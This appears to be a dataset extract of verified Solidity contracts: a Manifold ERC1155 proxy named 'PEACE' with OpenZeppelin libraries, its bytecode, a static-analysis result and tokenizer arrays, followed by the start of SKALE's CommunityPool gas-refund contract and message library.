// MMMMMMMMMK: 'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk' :KMMMMMMMMM //
// MMMMMMMMK; :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: ;KMMMMMMMM //
// MMMMMMMX: lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl :XMMMMMMM //
// MMMMMMNl lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl lNMMMMMM //
// MMMMMWx. lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl .xWMMMMM //
// MMMMM0' :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: '0MMMMM //
// MMMMWl '0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0' lWMMMM //
// MMMM0' oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo '0MMMM //
// MMMWo ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK, oWMMM //
// MMMX; oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo ;XMMM //
// MMMO. .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. .OMMM //
// MMMx. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK, .xMMM //
// MMMd :NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN: dMMM //
// MMMd :NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN: dMMM //
// MMMd :NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN: dMMM //
// MMMx. ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX; .xMMM //
// MMMk. '0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0' .kMMM //
// MMMK, .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. ,KMMM //
// MMMNc cNMMMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMMMN: cNMMM //
// MMMMx. .kMMMMMMMMMMMMMMMMMMMMMMMNx, ,xNMMMMMMMMMMMMMMMMMMMMMMMk. .xMMMM //
// MMMMX; :NMMMMMMMMMMMMMMMMMMMMNx, ,d: :d, ,xNMMMMMMMMMMMMMMMMMMMMX: ;XMMMM //
// MMMMMx. .dWMMMMMMMMMMMMMMMMMNx, ,xNWl lWNx, ,xNMMMMMMMMMMMMMMMMMWd. .xMMMMM //
// MMMMMNc .kMMMMMMMMMMMMMMMNx, ,xNMMWl lWMMNx, ,xNMMMMMMMMMMMMMMMk. cNMMMMM //
// MMMMMM0, 'OMMMMMMMMMMMMNx, ,xNMMMMWl lWMMMMNx, ,xNMMMMMMMMMMMMO' ,KMMMMMM //
// MMMMMMMk. 'OMMMMMMMMMNx, ,xNMMMMMMWl lWMMMMMMNx, ,xNMMMMMMMMMO' .kMMMMMMM //
// MMMMMMMWx. .kWMMMMMNx, ,xNMMMMMMMMWl lWMMMMMMMMNx, ,xNMMMMMWk. .xWMMMMMMM //
// MMMMMMMMWx. .oNMMNx, ,xNMMMMMMMMMMWl lWMMMMMMMMMMNx, ,xNMMNo. .xWMMMMMMMM //
// MMMMMMMMMWx. ;kx, ,xNMMMMMMMMMMMMWl lWMMMMMMMMMMMMNx, ,xk; .kWMMMMMMMMM //
// MMMMMMMMMMWO' ,xNMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMNx, 'OWMMMMMMMMMM //
// MMMMMMMMMMMMK: ,xNMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMNx, :KMMMMMMMMMMMM //
// MMMMMMMMMMMMMNx. ,xNMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMNx, .xNMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMK:. :XMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMX: .:KMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMWk; .;dKWMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMWKd;. ;kWMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMNx, .;oONMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMNOo;. ,xNMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMNk;. ':dOXWMMMMMMMMMWl lWMMMMMMMMMWXOd:' .;kNMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMWOc. .,cok0KNWMMWl lWMMWNK0koc,. .cOWMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMXx:. .',:cc' 'cc:,'. .:xXMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMWKx:. .:dKWMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkl,. .,lkXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKko:'. .':okKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKkdl;'.. ..';ldkKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKOkdolcc:::;;;;:::cclodkOKXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract PEACE is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d8ca74170343a077d408a14121a0275aa5ec3e256aea620f205b1a09c7670afb64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
2509,
2063,
19481,
2683,
2581,
2487,
26337,
2629,
15878,
28154,
21619,
2620,
2487,
2497,
22610,
2050,
2575,
3676,
14526,
2546,
2581,
2546,
2581,
21084,
2549,
3207,
2620,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
19181,
3521,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
14526,
24087,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,588 | 0x956455d81d5DC0F4FbE666Bffb278Af292dFa4dB | // SPDX-License-Identifier: AGPL-3.0-only
/*
CommunityPool.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "../Messages.sol";
import "./MessageProxyForMainnet.sol";
import "./Linker.sol";
/**
* @title CommunityPool
* @dev Contract contains logic to perform automatic self-recharging ether for nodes
*/
contract CommunityPool is Twin {
using AddressUpgradeable for address payable;
bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE");
mapping(address => mapping(bytes32 => uint)) private _userWallets;
mapping(address => mapping(bytes32 => bool)) public activeUsers;
uint public minTransactionGas;
event MinTransactionGasWasChanged(
uint oldValue,
uint newValue
);
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
Linker linker,
MessageProxyForMainnet messageProxyValue
)
external
initializer
{
Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue);
_setupRole(LINKER_ROLE, address(linker));
minTransactionGas = 1e6;
}
function refundGasByUser(
bytes32 schainHash,
address payable node,
address user,
uint gas
)
external
onlyMessageProxy
returns (uint)
{
require(node != address(0), "Node address must be set");
if (!activeUsers[user][schainHash]) {
return gas;
}
uint amount = tx.gasprice * gas;
if (amount > _userWallets[user][schainHash]) {
amount = _userWallets[user][schainHash];
}
_userWallets[user][schainHash] = _userWallets[user][schainHash] - amount;
if (!_balanceIsSufficient(schainHash, user, 0)) {
activeUsers[user][schainHash] = false;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeLockUserMessage(user)
);
}
node.sendValue(amount);
return (tx.gasprice * gas - amount) / tx.gasprice;
}
function refundGasBySchainWallet(
bytes32 schainHash,
address payable node,
uint gas
)
external
onlyMessageProxy
returns (bool)
{
if (gas > 0) {
IWallets(contractManagerOfSkaleManager.getContract("Wallets")).refundGasBySchain(
schainHash,
node,
gas,
false
);
}
return true;
}
/**
* @dev Allows `msg.sender` to recharge their wallet for further gas reimbursement.
*
* Requirements:
*
* - 'msg.sender` should recharge their gas wallet for amount that enough to reimburse any
* transaction from schain to mainnet.
*/
function rechargeUserWallet(string calldata schainName, address user) external payable {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
_balanceIsSufficient(schainHash, msg.sender, msg.value),
"Not enough ETH for transaction"
);
_userWallets[user][schainHash] = _userWallets[user][schainHash] + msg.value;
if (!activeUsers[user][schainHash]) {
activeUsers[user][schainHash] = true;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeActivateUserMessage(user)
);
}
}
function withdrawFunds(string calldata schainName, uint amount) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(amount <= _userWallets[msg.sender][schainHash], "Balance is too low");
_userWallets[msg.sender][schainHash] = _userWallets[msg.sender][schainHash] - amount;
if (
!_balanceIsSufficient(schainHash, msg.sender, 0) &&
activeUsers[msg.sender][schainHash]
) {
activeUsers[msg.sender][schainHash] = false;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeLockUserMessage(msg.sender)
);
}
payable(msg.sender).sendValue(amount);
}
function setMinTransactionGas(uint newMinTransactionGas) external {
require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "CONSTANT_SETTER_ROLE is required");
emit MinTransactionGasWasChanged(minTransactionGas, newMinTransactionGas);
minTransactionGas = newMinTransactionGas;
}
function getBalance(address user, string calldata schainName) external view returns (uint) {
return _userWallets[user][keccak256(abi.encodePacked(schainName))];
}
function checkUserBalance(bytes32 schainHash, address receiver) external view returns (bool) {
return activeUsers[receiver][schainHash] && _balanceIsSufficient(schainHash, receiver, 0);
}
function _balanceIsSufficient(bytes32 schainHash, address receiver, uint256 delta) private view returns (bool) {
return delta + _userWallets[receiver][schainHash] >= minTransactionGas * tx.gasprice;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IWallets - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IWallets {
function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external;
function rechargeSchainWallet(bytes32 schainId) external payable;
function getSchainBalance(bytes32 schainHash) external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Messages.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaeiv
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
library Messages {
enum MessageType {
EMPTY,
TRANSFER_ETH,
TRANSFER_ERC20,
TRANSFER_ERC20_AND_TOTAL_SUPPLY,
TRANSFER_ERC20_AND_TOKEN_INFO,
TRANSFER_ERC721,
TRANSFER_ERC721_AND_TOKEN_INFO,
USER_STATUS,
INTERCHAIN_CONNECTION,
TRANSFER_ERC1155,
TRANSFER_ERC1155_AND_TOKEN_INFO,
TRANSFER_ERC1155_BATCH,
TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO
}
struct BaseMessage {
MessageType messageType;
}
struct TransferEthMessage {
BaseMessage message;
address receiver;
uint256 amount;
}
struct UserStatusMessage {
BaseMessage message;
address receiver;
bool isActive;
}
struct TransferErc20Message {
BaseMessage message;
address token;
address receiver;
uint256 amount;
}
struct Erc20TokenInfo {
string name;
uint8 decimals;
string symbol;
}
struct TransferErc20AndTotalSupplyMessage {
TransferErc20Message baseErc20transfer;
uint256 totalSupply;
}
struct TransferErc20AndTokenInfoMessage {
TransferErc20Message baseErc20transfer;
uint256 totalSupply;
Erc20TokenInfo tokenInfo;
}
struct TransferErc721Message {
BaseMessage message;
address token;
address receiver;
uint256 tokenId;
}
struct Erc721TokenInfo {
string name;
string symbol;
}
struct TransferErc721AndTokenInfoMessage {
TransferErc721Message baseErc721transfer;
Erc721TokenInfo tokenInfo;
}
struct InterchainConnectionMessage {
BaseMessage message;
bool isAllowed;
}
struct TransferErc1155Message {
BaseMessage message;
address token;
address receiver;
uint256 id;
uint256 amount;
}
struct TransferErc1155BatchMessage {
BaseMessage message;
address token;
address receiver;
uint256[] ids;
uint256[] amounts;
}
struct Erc1155TokenInfo {
string uri;
}
struct TransferErc1155AndTokenInfoMessage {
TransferErc1155Message baseErc1155transfer;
Erc1155TokenInfo tokenInfo;
}
struct TransferErc1155BatchAndTokenInfoMessage {
TransferErc1155BatchMessage baseErc1155Batchtransfer;
Erc1155TokenInfo tokenInfo;
}
function getMessageType(bytes calldata data) internal pure returns (MessageType) {
uint256 firstWord = abi.decode(data, (uint256));
if (firstWord % 32 == 0) {
return getMessageType(data[firstWord:]);
} else {
return abi.decode(data, (Messages.MessageType));
}
}
